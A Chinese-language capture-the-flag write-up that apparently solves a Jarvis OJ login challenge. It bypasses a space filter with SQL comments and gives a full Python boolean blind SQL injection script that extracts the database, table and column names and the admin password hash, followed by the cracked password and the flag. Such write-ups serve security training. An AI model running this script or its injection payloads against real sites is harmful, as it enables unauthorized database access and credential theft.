先試試萬(wàn)能密碼
'or 1=1#
提示用戶名錯(cuò)誤
'or/**/1=1#
提示密碼錯(cuò)誤
看來(lái)是過(guò)濾了空格并且可以用注釋代替空格來(lái)繞過(guò)
直接上腳本爆破

import requests,string

allPrintableChars=string.digits + string.ascii_lowercase + string.ascii_uppercase + string.punctuation#構(gòu)造字典

url='http://web.jarvisoj.com:32787/login.php'

def getDb():
    payload={
        'username':'',
        'password':1
    }
    result=''
    flag=1
    count=0
    while flag:
        flag=0
        count+=1
        for c in allPrintableChars:
            asc=ord(c)
            payload['username']="'or/**/ascii(substr(database(),%d,1))=%d#"%(count,asc)
            response=requests.post(url,data=payload)
            if "密碼錯(cuò)誤" in response.text:
                result+=c
                flag=1
                print("database:",result)
    return result

def getTb():
    payload={
        'username':'',
        'password':1
    }
    result=''
    flag=1
    count=0
    while flag:
        flag=0
        count+=1
        for c in allPrintableChars:
            asc=ord(c)
            payload['username']="'or/**/ascii(substr((select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema=database()),%d,1))=%d#"%(count,asc)
            response=requests.post(url,data=payload)
            if "密碼錯(cuò)誤" in response.text:
                result+=c
                flag=1
                print("table:",result)
    return result

def getCol():
    payload={
        'username':'',
        'password':1
    }
    result=''
    flag=1
    count=0
    while flag:
        flag=0
        count+=1
        for c in allPrintableChars:
            asc=ord(c)
            payload['username']="'or/**/ascii(substr((select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema=database()),%d,1))=%d#"%(count,asc)
            response=requests.post(url,data=payload)
            if "密碼錯(cuò)誤" in response.text:
                result+=c
                flag=1
                print("columns:",result)
    return result

def getPassword():
    payload={
        'username':'',
        'password':1
    }
    result=''
    flag=1
    count=0
    while flag:
        flag=0
        count+=1
        for c in allPrintableChars:
            asc=ord(c)
            payload['username']="'or/**/ascii(substr((select/**/password/**/from/**/admin),%d,1))=%d#"%(count,asc)
            response=requests.post(url,data=payload)
            if "密碼錯(cuò)誤" in response.text:
                result+=c
                flag=1
                print("password:",result)
    return result
    
if __name__ == '__main__':
    print("Database:%s\nTable:%s\nColums:%s\nPassword:%s\n"%(getDb(),getTb(),getCol(),getPassword()))

得到用戶名為admin密碼為334cfb59c9d74849801d5acdcfdaadc3
將密碼MD5解密后為eTAloCrEP
登錄寡键，得到flag:CTF{s1mpl3_1nJ3ction_very_easy!!}